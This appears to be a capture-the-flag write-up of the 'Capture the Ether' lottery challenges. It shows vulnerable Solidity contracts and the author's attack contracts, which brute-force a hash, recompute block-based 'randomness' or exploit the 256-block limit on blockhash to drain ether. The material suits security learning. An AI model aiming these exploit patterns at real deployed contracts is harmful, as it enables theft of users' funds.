Capture the Ether(Lotteries)

Lotteries

In each of the following challenges, the goal is to guess the answer correctly when guessing

Question 1: Guess the number

code:

pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
    uint8 answer = 42;
    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

It's very simple, the number to be guessed is 42 directly given in the title, just enter 42 to deploy the contract.

Question 2: Guess the secret number

code:

pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

We are required to give a uint8 type number whose hash value is equal to the answerHash given in the title, because the maximum uint8 is no more than 255, so we can use the enumeration method to write a for loop to judge one by one.

Attack code:

pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    uint8 public answer;
    function guess() public payable {
        for(uint8 i = 0; i < 255; i++) {
            if (keccak256(i) == answerHash) {
                answer = i;
            }
        }
    }
}

Deploy the contract, call the guess method of the attack contract to get the answer, and enter the answer in the target contract: 

Question 3: Guess the Random  number

code:

pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
    uint8 answer;
    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);
        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

The answer to this question is generated by block.number and now when we deploy the contract  . block.number is the block height when deploying the contract, which is easy to obtain. now is the current timestamp, which is a troublesome place. We can use injected provider Our metamask wallet deployment contract used in remix. (1 ether in the title is too high, we can lower it by ourselves, here I use 0.001 ether which is 1 Finny)

 After deploying the contract, we can check the status of the contract on the blockchain browser and click view on etherscan :

You can see the current transaction information:

Click State, and the second address is the address of our contract. Click the arrow next to it to see the change of a storage variable in the contract. After converting it to a number type, you can know that the answer is 99: 

Just enter the answer 99:

Question 4: Guess the New  number

code:

pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

The answer of this question becomes generated when we run the guess function. The method of the previous question will not work. We can write an attack function, construct an answer, and then call the guess function from the attack function.

Attack code:

pragma solidity ^0.4.21;
import "./GuessTheNewNumber.sol";
contract Poc {
    GuessTheNewNumberChallenge target;
    function pwn() public payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        target.guess.value(0.001 ether)(answer);
    }
    function Poc(address _addr) public {
        target = GuessTheNewNumberChallenge(_addr);
    }
    function () public payable {}
}

Through the pwn function, we generate an answer (now and blocknumber are the same in the same transaction), and then call the guess function of the target contract, passing in the answer.

Deploy the contract and call the pwn function:

 attack complete 

Topic 5: Predict the future

code:

pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;
    function PredictTheFutureChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);
        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

The answer of this question is generated in the same way as the previous question. It still uses block.number and now to generate, but the range of guessing becomes 0 - 10. The difference from the previous question is that it requires us to first set a value through the lockInGuess function. The number guess we guessed, that is, the number we guessed is certain, but the answer changes, so we can construct a contract to execute the settle function when the guess we set is the same as the current answer.

Attack code:

pragma solidity ^0.4.21;
import "./PredictTheFuture.sol";
contract attack {
    PredictTheFutureChallenge challenge;
    constructor(address _addr) public {
        challenge = PredictTheFutureChallenge(_addr);
    }
    function gue() public payable {
        challenge.lockInGuess.value(msg.value)(5);
    }
    function set() public payable {
        uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        if (result == 5) {
            challenge.settle();
        }
    }
    function() public payable{}
}

To deploy the contract, first call the guess function to set a guess (I chose 5), and then call the set function until it succeeds (it depends on luck)

Question 6: Guess the Hash Number

code:

pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;
    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }
    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        bytes32 answer = block.blockhash(settlementBlockNumber);
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

The title requires us to guess the 256-bit Hash value of the next block.

" For scalability reasons, block hashes are not available for all blocks. You will only have access to the hashes of the last 256 blocks, all other values ​​will be zero. "

So we only need to wait for 256 blocks to solve this problem.

Attack code:

pragma solidity ^0.4.21;

import "./PredictBlockHash.sol";
contract attack {
    PredictTheBlockHashChallenge challenge;
    uint256 blockNumber;
    bytes32 answer;
    function attack(address _addr) public {
        challenge = PredictTheBlockHashChallenge(_addr);
    }
    function guess() public payable {
        blockNumber = block.number + 1;
        challenge.lockInGuess.value(0.001 ether)(answer);
    }
    function pwn() public {
        require(block.number-256 > blockNumber,"Didn't generate 256 blocks");
        challenge.settle();
    }
    function ()external payable{}
}

First call the guess function of the attack contract, store 0, and then call the pwn function after 256 blocks are generated (the waiting time is quite long)

Guess you like

Origin blog.csdn.net/m0_52030813/article/details/127837420